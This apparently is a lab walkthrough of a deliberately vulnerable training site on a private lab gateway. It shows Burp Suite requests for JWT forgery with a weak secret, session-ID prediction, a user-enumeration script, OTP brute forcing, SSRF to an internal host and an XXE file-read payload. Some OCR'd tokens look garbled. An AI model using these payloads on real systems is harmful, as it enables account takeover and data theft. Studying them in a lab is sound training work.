

# OK, let us begin with observation skill

## A3:2017-Sensitive Data Exposure

Over the last few years, this has been the most common impactful attack. The most common flaw is simply not encrypting sensitive data. When crypto is employed, weak key generation and management, and weak algorithm, protocol and cipher usage is common, particularly for weak password hashing storage techniques. For data in transit, server-side weaknesses are mainly easy to detect, but hard for data at rest.

Use your powers of observation and identify algorithm for decode/dehashing/decrypt the following data.

In encryption section, we are using Symmetric-key algorithm with **ECB** mode and **128** sized key and key is "**0fffff713370ffff**".

Encoded DATA :  
Vkd0a1ZrMXJ0V1ZaZWtKT1lsWkZlR1jZY0ZwT1ZUVnhWR1JPVD  
FaSFRqV1ViWEJXWlZVeE5sU11jRTVsYXpFM1ZEQ1NUazFGTVRa  
U1dIQk9aV3N4TkZSWWNHNWxhekZGVkZod1RtRnJNRGs9

Hashed DATA : f7872ba682888416d526677291111e0e638111f1

Encrypted DATA : jnfbZUlqpIT/MHoNx A/ypjgoD8lwI8lz7/wGxcfuh84=

Encoded Value : Net-Secure#3384131803#

Hashing Value : purple1

Encrypted Value : Net-Secure#5530151034#

submit

Challanges	Value	Result
Encoding	Net-Secure#3384131803#	passed
Hashing	purple1	passed
Encryption	Net-Secure#5530151034#	passed

Yes you did! Continue on to the next challenge



## Solutions for the E-Commerce Age

### Welcome to Net Square!

Information Technology, no longer an afterthought, is integral to a company's business strategy. Using it effectively would set a company on its way to realize its fullest potential. Ignoring it would be a costly inaction.

Net Square is designed to help empower your organization to do business on the new frontier, the Internet. If your organization is already doing business the electronic way, Net Square can help unlock its full potential and operate at maximum efficiency. We are committed to client service, and deliver solutions in accordance to the industry's leading practices.

Click on the menu items in the sidebar on the left to explore Net Square and see how you would like to be a part of the exciting field of electronic commerce! Enjoy your visit here at Net Square. Should you require further information on almost anything that you see, do not hesitate to drop us a line at [info@net-square.com](mailto:info@net-square.com).

# Admin Login

## A2:2017-Broken Authentication

### WSTG-CONF-05 Enumerate Infrastructure and Application Admin Interfaces

The prevalence of broken authentication is widespread due to the design and implementation of most identity and access controls. Session management is the bedrock of authentication and access controls, and is present in all stateful applications. Attackers can detect broken authentication using manual means and exploit them using automated tools with password lists and dictionary attacks.

Use your powers of page source observation and find admin password and login.

Login as admin user

User Name :

Password :

Yes you did! Continue on to the next challenge

Missed DevDay24? Register for the Best of DevDay →

✖



Debugger Libraries Introduction Ask

Crafted by Auth0 by Okta

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJ0ZXQgU3F1YXJlIFNvbHV0aW9ucyBQcm12YXR1IEpbWl0ZWQiLCJpYXQiOjE2MDA5MDQyMTAsImV4cCI6MTYzMjQ0MDIxMSwiYXVkIjoiRW5pZ21hIiwic3ViIjoiMjU2LWJpdC1zZWNyZXQgaXMgc2VjcmV0IHdpdGggSFMyNTYiLCJ1c2VyIjoiYWRtaW4iLCJsb2dpbiI6IjEifQ.1T72kXgjsd3QhdsMe-U11bXo03Ie54iJ4xjN5XvD17I

## HEADER: ALGORITHM &amp; TOKEN TYPE

```
{  
  "typ": "JWT",  
  "alg": "HS256"  
}
```

## PAYLOAD: DATA

```
"iat": 1600904210,  
"exp": 1632440211,  
"aud": "Enigma",  
"sub": "256-bit-secret is secret with HS256",  
"user": "admin",  
"login": "1"  
}
```

## VERIFY SIGNATURE

```
HMACSHA256(  
  base64UrlEncode(header) + "." +  
  base64UrlEncode(payload),  
  secret  
)  secret base64 encoded
```

1 x 2 x 3 x +



Send



Cancel



Target: http://gw.lab.ns.exploitlab.net:2023



HTTP/1



## Request

Pretty Raw Hex JSON Web Tokens



```
1 POST /web/c10.ns HTTP/1.1
2 Host: gw.lab.ns.exploitlab.net:2023
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
x64; rv:131.0) Gecko/20100101 Firefox/131.0
4 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 46
9 Origin: http://gw.lab.ns.exploitlab.net:2023
10 Connection: keep-alive
11 Referer:
http://gw.lab.ns.exploitlab.net:2023/web/c10.ns
12 Cookie: jwt_access=
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJ0Z
XQgU3F1YXJlIFNvbHV0aW9ucyBQcm12YXR1IEpbWl0ZWQiLCJ
pYXQiOjE2MDA5MDQyMTAsImV4cCI6MTYzMjQ0MDIxMSwiYXVki
joIRW5pZ21hIiwic3ViIjoiMjU2LWJpdC1zZWNyZXQgaXMgc2V
jcmV0IHdpdGggSFMyNTYiLCJ1c2VyIjoiYWRTaW4iLCJsb2dpb
iI6IjEifQ.1T72kXgjsd3QhdsMe-U11bXoO3Ie54iJ4xjN5XvD
17I; PHPSESSID=faigh2dcahtqcj49pds4is1gu1
13 Upgrade-Insecure-Requests: 1
```

## Response

Pretty Raw Hex Render JSON Web Tokens



Challenge List

# Session Validation Bypass

## A2:2017-Broken Authentication

The prevalence of broken authentication is widespread due to the design and implementation of most identity and access controls. Session management is the bedrock of authentication and access controls, and is present in all stateful applications. Attackers can detect broken authentication using manual means and exploit them using automated tools with password lists and dictionary attacks.

Use your powers of observation and bypass session validation.  
Hint : 256-bit-secret is "secret" with HS256 algo. Server required "login":"1"

Login as admin user

User Name :

Password :

Yes you did! Continue on to the next challenge



## A2:2017-Broken Authentication

The prevalence of broken authentication is widespread due to the design and implementation of most identity and access controls. Session management is the bedrock of authentication and access controls, and is present in all stateful applications. Attackers can detect broken authentication using manual means and exploit them using automated tools with password lists and dictionary attacks.

Application have 9999 user, You need to find user session of user id 7138 :

Session ID of user ID 0001 : abcdefgh-01234567-01234567-00011337

Session ID of user ID 0003 : cdefghij-23456789-23456789-00031337

Session ID of user ID 0005 : efghijkl-45678901-456789ab-00051337

Session ID of user ID 0014 : nopqrstuvwxyz-34567890-def01234-00141337

Session ID of user ID 0015 : opqrstuvwxyz-45678901-ef012345-00151337

Session ID of user ID 0016 : pqrstuvwxyzvw-56789012-f0123456-00161337

Session ID of user ID 0017 : qrstuvwxyz-67890123-01234567-00171337

Session ID of user ID 0018 : rstuvwxyzxy-78901234-12345678-00181337

Session ID of user ID 0024 : xyzabcde-34567890-789abcde-00241337

Session ID of user ID 0025 : yzabcdef-45678901-89abcdef-00251337

Session ID of user ID 0026 : zabcdefg-56789012-9abcdef0-00261337

Session ID of user ID 0027 : abcdefgh-67890123-abcdef01-00271337

Session ID of user ID 0028 : bcdefghi-78901234-bcdef012-00281337

Session ID of user ID 9999 : opqrstuvwxyz-89012345-ef012345-99991337

Session ID of user ID 7138:  submit



Yes you did! Continue on to the next challenge

Intercept HTTP history WebSockets history Proxy settings

Logging of out-of-scope Proxy traffic is disabled Re-enable X

Intercept on Forward all Drop Request to http://gw.lab.ns.exploitlab.net:2023 [115.246.28.18] Open browser ? :

Time	Type	Direction	Host	Method	URL	Status code	Length
15:13:35 7 Oct 2024	HTTP	→ Request	gw.lab.ns.exploitlab.net	POST	http://gw.lab.ns.exploitlab.net:2023/web/c6.ns		

**Request**

Pretty Raw Hex

```
1 GET /web/c6.ns?my_name=abc123&my_pass1=test&my_pass2=testing&my_submit=Submit
HTTP/1.1
2 Host: gw.lab.ns.exploitlab.net:2023
3 User-Agent: Hacker/1.0
4 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Origin: http://gw.lab.ns.exploitlab.net:2023
8 Connection: keep-alive
9 Referer: http://gw.lab.ns.exploitlab.net:2023/web/c6.ns
10 Cookie: PHPSESSID=qo65uo066frjupiq44ngd9qvn0
11 Upgrade-Insecure-Requests: 1
12 Priority: u=0, i
13
14
```

**Inspector**

Request attributes 2 ▾

Request query parameters 4 ▾

Request body parameters 0 ▾

Request cookies 1 ▾

Request headers 11 ▾

Notes

# More Fun With Forms

## A6:2017-Security Misconfiguration

Security misconfiguration can happen at any level of an application stack. Some time developer puts validation only on client side and missed validating parameter on server side.

Enter Your Name  Deliberately submit non-alphabet characters

Choose A Password  Deliberately make the passwords mismatch

Verify The Password

Your Browser Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 [Change to "Hacker/1.0"](#)

Submit the form using GET instead of POST

Name	Value	Result
Character Restriction Bypass	abc123	passed
Password Verification Bypass	test testing	passed
User Agent Modification	hacker/1.0	passed
HTTP Form Submission method	GET	passed

Now that you are warmed up, dive straight into another test.

[Click here to continue](#)



test.py X

C: > Users > Anikmahanta > OneDrive - Black Duck Software > Desktop > test.py > ...

```
1 import requests
2
3 url = "http://gw.lab.ns.exploitlab.net:2023/web/c7.ns"
4 headers = {
5     "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0",
6     "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8",
7     "Accept-Language": "en-US,en;q=0.5",
8     "Accept-Encoding": "gzip, deflate, br",
9     "Referer": "http://gw.lab.ns.exploitlab.net:2023/score.ns",
10    "Connection": "keep-alive",
11    "Upgrade-Insecure-Requests": "1",
12    "Priority": "u=0, i"
13 }
14
15 for i in range(2000):
16     print(i)
17     headers["Cookie"] = f"jwt_access=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.
eyJpc3MiOiJOZXQgU3F1YXJlIFNvbHV0aW9ucyBQcmI2YXR1IEpbWl0ZWQiLCJpYXQiOjE2MDA5MDQyMTAsImV4cCI6MTYzMjQ0MDIxMSwiYXVkJoiRW5pZ21hIiwic3ViIjoiMjU2LWJpdC1zZWNyZXQgaXMgc2VjcmV0IHdpdGggSFMyNTYiLCJ1c2VyIjoiYWRtaW4iLCJsb2dpbiI6IjAifQ.f-m0ZEMfUn7gZ0LdybdqBCw3ncddra8DtHhmynbQDqA; UID={i}; PHPSESSID=qo65uo066frjupiq44ngd9qvn0"
18     response = requests.get(url, headers=headers)
19     if '''User Name is <font color='yellow'>"NS-ADMIN"</font>''' in response.text:
20         print(response.text)
```

PROBLEMS OUTPUT DEBUG CONSOLE TERMINAL PORTS

using HTTP method (GET vs PUT, etc), controller, direct object references, etc.<br><br>

```
</div>
        <div style="color: red;">
            Enumerate user list and find "NS-ADMIN" user's Password.
        </div>
</BR>
Application have 2000 user, Your User ID is <font color='yellow'>1999 </font>: User Name is <font color='yellow'>"NS-ADMIN"</font> and Password is <font color='lime'>"WhAti5MyPa55"</font><div id='output'></div>
<br/>
<br/>
<form name="searchform" method="post">
    Password of NS-ADMIN : <input type=text name="upass" id="upass" value="">
    <input type="submit" value="submit">
</form>
</body>
</html>
```

PS C:\Users\Anikmahanta> █

Send



Cancel



Target: http://gw.lab.ns.exploitlab.net:2023



HTTP/1



## Request

Pretty Raw Hex JSON Web Tokens



```
1 DELETE /web/api.ns HTTP/1.1
2 Host: gw.lab.ns.exploitlab.net:2023
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
x64; rv:131.0) Gecko/20100101 Firefox/131.0
7 Content-Type: application/json
8 Content-Length: 39
9 Origin: http://gw.lab.ns.exploitlab.net:2023
10 Connection: keep-alive
11 Referer:
http://gw.lab.ns.exploitlab.net:2023/web/c15.ns
12 Cookie: jwt_access=
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiiojOZ
XQgU3F1YXJlIFNvbHV0aW9ucyBQcm12YXR1IEpbWl0ZWQilCJ
pYXQiOjE2MDA5MDQyMTAsImV4cCI6MTYzMjQ0MDIxMSwiYXVki
joIRW5pz21hIiwic3ViIjoiMjU2LWJpdC1zZWNNyZXQgaXMgc2V
jcmV0IHdpdGggSFMyNTYiLCJ1c2VyIjoiYWRtaW4iLCJsb2dpb
iI6IjAifQ.f-m0ZEMfUn7gz0LdybdqBCw3ncddra8DtHhmynbQ
DqA; PHPSESSID=qo65uo066frjupiq44ngd9qvn0
14
15 {
    "uid": "0",
    "uname": "admin",
    "empid": "1"
}
```

## Response

Pretty Raw Hex Render



```
1 HTTP/1.1 200 OK
2 Date: Mon, 07 Oct 2024 10:23:34 GMT
3 Server: Microsoft-IIS/10.0
4 X-Frame-Options: SAMEORIGIN
5 X-Content-Type-Options: nosniff
6 Application-Engine: NS-ENG
7 Expires: Thu, 19 Nov 1981 08:52:00 GMT
8 Cache-Control: no-store, no-cache,
must-revalidate, post-check=0, pre-check=0
9 Pragma: no-cache
10 Content-Length: 63
11 Keep-Alive: timeout=5, max=100
12 Connection: Keep-Alive
13 Content-Type: text/html; charset=UTF-8
14
15
16 <br/>
<br/>
<a class='rect' href='../score.ns'>
    Yes you did!
</a>
```

d8 Inspector

Notes

Results    Positions    Payloads    Resource pool    Settings

Intruder attack results filter: Showing all items

Request	Payload 1	Payload 2	Payload 3	Status code	Respons...	Length	 
989	te5dbbceace/e2988b8c09bcfd8d8904aabcf	0A%3D%3D	f06065967ad418ca	200	63	2629	Enter Valid OTP.</body></html>
990	0ade7c2cf97f75d009975f4d720d1fa6c19f4897	0A%3D%3D	f06065967ad418ca	200	63	2629	Enter Valid OTP.</body></html>
991	b6589fc6ab0dc82cf12099d1c2d40ab994e8410c	OQ%3D%3D	f06065967ad418ca	200	60	2630	Enter Valid OTP.</body></html>
992	356a192b7913b04c54574d18c28d46e6395428ab	OQ%3D%3D	f06065967ad418ca	200	60	2629	Enter Valid OTP.</body></html>
993	da4b9237bacccdf19c0760cab7aec4a8359010b0	OQ%3D%3D	f06065967ad418ca	200	65	2630	Enter Valid OTP.</body></html>
994	77de68daecd823babbb58edb1c8e14d7106e83bb	OQ%3D%3D	f06065967ad418ca	200	52	2629	Enter Valid OTP.</body></html>
995	1b6453892473a467d07372d45eb05abc2031647a	OQ%3D%3D	f06065967ad418ca	200	68	2629	Enter Valid OTP.</body></html>
996	ac3478d69a3c81fa62e60f5c3696165a4e5e6ac4	OQ%3D%3D	f06065967ad418ca	200	59	2629	Enter Valid OTP.</body></html>
997	c1dfd96eea8cc2b62785275bca38ac261256e278	OQ%3D%3D	f06065967ad418ca	200	64	2629	Enter Valid OTP.</body></html>
998	902ba3cda1883801594b6e1b452790cc53948fda	OQ%3D%3D	f06065967ad418ca	200	60	2629	Enter Valid OTP.</body></html>
999	fe5dbbce5ce7e2988b8c69bcfd8d8904aabcf	OQ%3D%3D	f06065967ad418ca	200	60	2629	Enter Valid OTP.</body></html>
1000	0ade7c2cf97f75d009975f4d720d1fa6c19f4897	OQ%3D%3D	f06065967ad418ca	200	60	2630	Enter Valid OTP.</body></html>
955	1b6453892473a467d07372d45eb05abc2031647a	NQ%3D%3D	f06065967ad418ca	200	59	2699	

Request    Response

Pretty    Raw    Hex    Render



⋮

## A2:2017-Broken Authentication

The prevalence of broken authentication is widespread due to the design and implementation of most identity and access controls. Session management is the bedrock of authentication and access controls, and is present in all stateful applications. Attackers can detect broken authentication using manual means and exploit them using automated tools with password lists and dictionary attacks.

Try to understand client side operation and find 3 digit OTP using bruteforce

OTP :    submit

Yes you did! Continue on to the next challenge

Results Positions Payloads Resource pool Settings

Intruder attack results filter: Showing all items

Request	Payload	Status code	Response received	...	/table>\n	<p> ▾
243	243	200	62	...	NS-Error 006: 404 Page Not Found	
10	10	200	73	...	NS-Error 004: Connection refused	
11	11	200	77	...	NS-Error 004: Connection refused	
		---	---	---	---	---

Request Response

Pretty Raw Hex JSON Web Tokens



```

1 POST /web/c17.ns HTTP/1.1
2 Host: gw.lab.ns.exploitlab.net:2023
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 52
9 Origin: http://gw.lab.ns.exploitlab.net:2023
10 Connection: keep-alive
11 Referer: http://gw.lab.ns.exploitlab.net:2023/web/c17.ns
12 Cookie: jwt_access=
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJOZXQgU3F1YXJlIFNvbHV0aw9ucyBQcm12YXR1IEpbWl0ZWQiLCJpYXQiojE2MDA5MDQyM
TAsImV4cCI6MTYzMjQ0MDIxMSwiYXVkJoiRW5pZ21hIiwic3ViIjoimjU2LWJpdC1zZWNyZXQgaXMgc2VjcmV0IHdpdGggSFMyNTYiLCJ1c2VyIjoiYWR
taW4iLCJsba2dpbiI6IjAifQ.f-m0ZEMfUn7gZOLdybdqBCw3ncddra8DtHhmynbQDqA; PHPSESSID=qo65uo066frjupiq44ngd9qvn0
15
16 url=http%3A%2F%2F192.168.2.243:8080&my_submit=Submit

```

Send Cancel &lt; &gt;

Target: http://gw.lab.ns.exploitlab.net:2023 HTTP/1

**Request**

Pretty Raw Hex JSON Web Tokens



```
1 POST /web/c17.ns HTTP/1.1
2 Host: gw.lab.ns.exploitlab.net:2023
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
x64; rv:131.0) Gecko/20100101 Firefox/131.0
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 63
9 Origin: http://gw.lab.ns.exploitlab.net:2023
10 Connection: keep-alive
11 Referer:
http://gw.lab.ns.exploitlab.net:2023/web/c17.ns
12 Cookie: jwt_access=
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJOZXQ
gU3F1YXJ1IFNvbHV0aW9ucyBQcm12YXR1IEpbWl0ZWQiLCJpYXQ
iojE2MDA5MDQyMTAsImV4cCI6MTYzMjQ0MDIxMSwiYXVkIjoiRW5
pZ21hIiwic3ViIjoiMjU2LWJpdC1zzWNyZXQgaXMgc2VjcmV0IHd
pdGggSFMyNTYiLCJ1c2VyIjoiYWRtaW4iLCJsb2dpbiI6IjAifQ.
f-m0ZEMfUn7gzOLdybdqBCw3ncddra8DtHhmynbQDqA;
PHPSESSID=qo65uo066frjupiq44ngd9qvn0
15
16 url=http%3A%2F%2F192.168.2.243:8080/secret.txt&
my_submit=Submit
```

**Response**

Pretty Raw Hex Render



```
42                                         ample.com/">
43                                         </td>
44                                         </tr>
45                                         <tr>
46                                         <td>
47                                         <td>
48                                         <td>
49                                         <input type="submit" name="my_submit" value="Submit">
50                                         </td>
51                                         </tr>
52                                         </table>
53                                         <p style="color: yellow;">
54                                         Token:
55                                         NS-49648A76B21CED9C5248
56                                         </p>
57                                         </fieldset>
58                                         </form>
59                                         <br/>
```

Inspector

Notes

Send



Cancel



Target: http://gw.lab.ns.exploitlab.net:2023



HTTP/1



## Request

Pretty Raw Hex JSON Web Tokens



```
1 POST /web/select_list_xxe.ns HTTP/1.1
2 Host: gw.lab.ns.exploitlab.net:2023
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
7 Content-type: text/xml; charset=UTF-8
8 Content-Length: 134
9 Origin: http://gw.lab.ns.exploitlab.net:2023
10 Connection: keep-alive
11 Referer: http://gw.lab.ns.exploitlab.net:2023/web/c21.ns
12 Cookie: jwt_access=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJOZXQgU3F1YXJlIFNvbHV0aW9ucyBQcm12YXR1IEpbW10ZWQiLCJpYXQiojE2MDA5MDQyMTAsImV4cCI6MTYzMjQ0MDIxMSwiYXVkIjoirW5pz21hiiwic3ViIjoiMjU2LWJpdC1zzWNyZXQgaXMgc2VjcmV0IHdpdGggSFMyNTYiLCJ1c2VyIjoiYWRtaW4iLCJsb2dpbiI6IjAifQ.f-m0ZEMfUn7gZOLdybdqBCw3ncddra8DtHhmynbQDqA; PHPSESSID=eeaolgrfqe98459ahdpnu8ifj6
```

```
<?xml version="1.0"?>
    <!DOCTYPE data [ <!ENTITY test SYSTEM
    'file:///etc/hash.txt'> ]><data>
        <col>
            JnRlc3Q7</col>
        <wval>
            2012
        </wval>
    </data>
```

## Response

Pretty Raw Hex Render



```
1 HTTP/1.1 200 OK
2 Date: Mon, 07 Oct 2024 12:54:42 GMT
3 Server: Microsoft-IIS/10.0
4 X-Frame-Options: SAMEORIGIN
5 X-Content-Type-Options: nosniff
6 Vary: Accept-Encoding
7 Content-Length: 506
8 Keep-Alive: timeout=5, max=100
9 Connection: Keep-Alive
10 Content-Type: text/html; charset=UTF-8
11
12 <BR>
13 126740987218<BR>
<table>
</tr>
<td>
    <a target="_blank" href="https://www.blackhat.com/us-14/travel.html">
        USA
    </a>
</td>
<td>
    <b style="color:#56bafe;">
        Mandalay Bay Convention Center
    </b>
    <BR>
    3950 Las Vegas Blvd. South<BR>
```

Inspector

Notes

# Find Organisation Information

A3:2017-Sensitive Data Exposure

WSTG-INFO-01 Conduct Search Engine Discovery Reconnaissance for Information Leakage

WSTG-CONF-04 Review Old Backup and Unreferenced Files for Sensitive Information

Net Square has been launched on which date ?

Date (DDMMYYYY) :

Yes you did!



# Fingerprinting



## WSTG-INFO-02 Fingerprint Web Server

Web server fingerprinting is the task of identifying the type and version of web server that a target is running on. While web server fingerprinting is often encapsulated in automated testing tools, it is important for researchers to understand the fundamentals of how these tools attempt to identify software, and why this is useful.

Accurately discovering the type of web server that an application runs on can enable security testers to determine if the application is vulnerable to attack. In particular, servers running older versions of software without up-to-date security patches can be susceptible to known version-specific exploits.

What web server is this site running on?

Microsoft-IIS/10.0

What is the back-end application engine?

NS-ENG

Did I get those right?

Yes you did! Continue on to the next challenge

Target Dashboard Proxy Intruder Repeater Collaborator Sequencer Logger Organizer Extensions Learn Decoder Search Settings

Comparer Logger++ CSP

Intercept HTTP history WebSockets history Proxy settings

Filter settings: Hiding CSS, image and general binary content

#	Host	Method	URL	Params	Edit	Stat	Len	Time
48	http://gw.lab.ns.exploitlab.net:2023	GET	/web/c5.ns			200	2...	21:56:50 6 Oct

## Request

Pretty Raw Hex

1 GET /web/c5.ns HTTP/1.1  
2 Host: gw.lab.ns.exploitlab.net:2023  
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0  
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,\*/\*;q=0.8  
5 Accept-Language: en-US,en;q=0.5  
6 Accept-Encoding: gzip, deflate, br  
7 Referer: http://gw.lab.ns.exploitlab.net:2023/score.ns  
8 Connection: keep-alive  
9 Cookie: PHPSESSID=faigh2dcahtqcj49pds4islgul  
10 Upgrade-Insecure-Requests: 1  
11 Priority: u=0, i  
12  
13

## Response

Pretty Raw Hex Render

1 HTTP/1.1 200 OK  
2 Date: Sun, 06 Oct 2024 16:26:49 GMT  
3 Server: Microsoft-IIS/10.0  
4 X-Frame-Options: SAMEORIGIN  
5 X-Content-Type-Options: nosniff  
6 Application-Engine: NS-ENG  
7 Expires: Thu, 19 Nov 1981 08:52:00 GMT  
8 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
9 Pragma: no-cache  
10 Vary: Accept-Encoding  
11 Content-Length: 1606  
12 Keep-Alive: timeout=5, max=100  
13 Connection: Keep-Alive  
14 Content-Type: text/html; charset=UTF-8  
15  
16 <html>  
17 <head>  
18 <link rel="stylesheet" type="text/css" href="..../styles.css">  
19 </head>  
20 <body>